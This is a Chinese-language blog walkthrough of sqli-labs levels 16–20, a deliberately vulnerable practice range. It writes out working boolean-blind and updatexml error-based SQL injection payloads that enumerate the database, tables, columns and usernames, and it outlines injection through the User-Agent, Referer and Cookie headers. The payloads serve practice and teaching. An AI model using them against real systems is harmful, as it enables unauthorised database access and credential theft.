sqli-labs靶场通关攻略(16-20)

Less-16

1、判断注入点

输入:1") or 1=1 # 登陆成功

1") union select 1,2 #

页面回显正确 但没有显示位,尝试报错注入

2、输入:1") and updatexml(1,concat(1,database()),1) #

没有回显报错信息,说明没有报错回显

3、尝试盲注

输入:1") or length(database())>8 #

输入:1") or length(database())>7 #

页面显示正确,说明数据库名长度为8

4、使用布尔盲注判断数据库名

1") or ascii(substr(database(),1,1))>115 #

页面报错,说明第一个字母的ASCII值小于115

1") or ascii(substr(database(),1,1))>114 #

页面显示正确,说明第一个字母的ASCII值大于114,即第一个字母的ASCII值为115

通过查询ASCII表可以得出,第一个字母为's',以此类推,即可得出数据库名为'security'

5、使用布尔盲注判断数据库中的表

1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 #

1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101#

大于100不大于101 说明第一张表的第一位字母等于101 对比ASCII表可以得出第一个字母'e' 。

最终得出第一张表的表名为emails

6、判断users表中第一个字段的第一位字符

1") or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104#

1") or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105#

说明users表的第一个字段的第一位字母ascii码为105 对比ASCII表可以得出第一个字母为 'i'

最终得出users表的第一个字段为id

7、判断username列的第一条数据的第一个字符

1") or ascii(substr((select username from users limit 0,1),1,1))>67#

1") or ascii(substr((select username from users limit 0,1),1,1))>68#

说明users表里面的username字段的第一条数据的第一个字母的ascii码为68,对比ASCII表可以得出第一个字母为'D'

最终得出users表里面的username字段的第一条数据为Dumb

Less-17

1、判断注入点

在密码处输入单引号,发现页面回显成功,且出现SQL语句报错,说明存在sql注入

注入点为单引号

2、在密码出输入:1' order by 3 #

输入:1' order by 1 #

页面报错,尝试报错注入

3、使用报错注入查询数据库名

1' and updatexml(1,concat(1,database()),1) #

可以得出数据库名为security

4、查询数据库中的表名

1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3) #

5、查询列名

1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' )),3) #

Less-18

1、页面输入admin 123456 登录,使用Burp Suite 抓包

2、将数据包发送给repeater

3、在User-agent后面进行注入测试,使用单引号成功报错确定其SQL注入

4、判断闭合方式

5、使用报错注入查询数据库名

6、使用报错注入查询数据库中的表

7、使用报错注入查询users表中的列

8、查询users表中的所有信息

Less-19

1、页面输入admin 123456 登录,使用Burp Suite 抓包

2、将数据包发送至repeater

3、在Referer后面进行注入测试,使用单引号成功报错确定其SQL注入

4、判断闭合方式

5、使用报错注入查询数据库名

6、查询数据库中的表

7、查询users表中的列

8、查询users表中所有字段

Less-20

1、页面输入admin 123456 登录,使用Burp Suite 抓包

2、将数据包发送至repeater

3、在Cookie后面进行注入测试,使用单引号成功报错确定其SQL注入

4、判断闭合方式

5、使用报错注入查询数据库名

6、查询数据库中的表

7、查询users表中的列名

8、查询users表中所有字段

  • 20
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值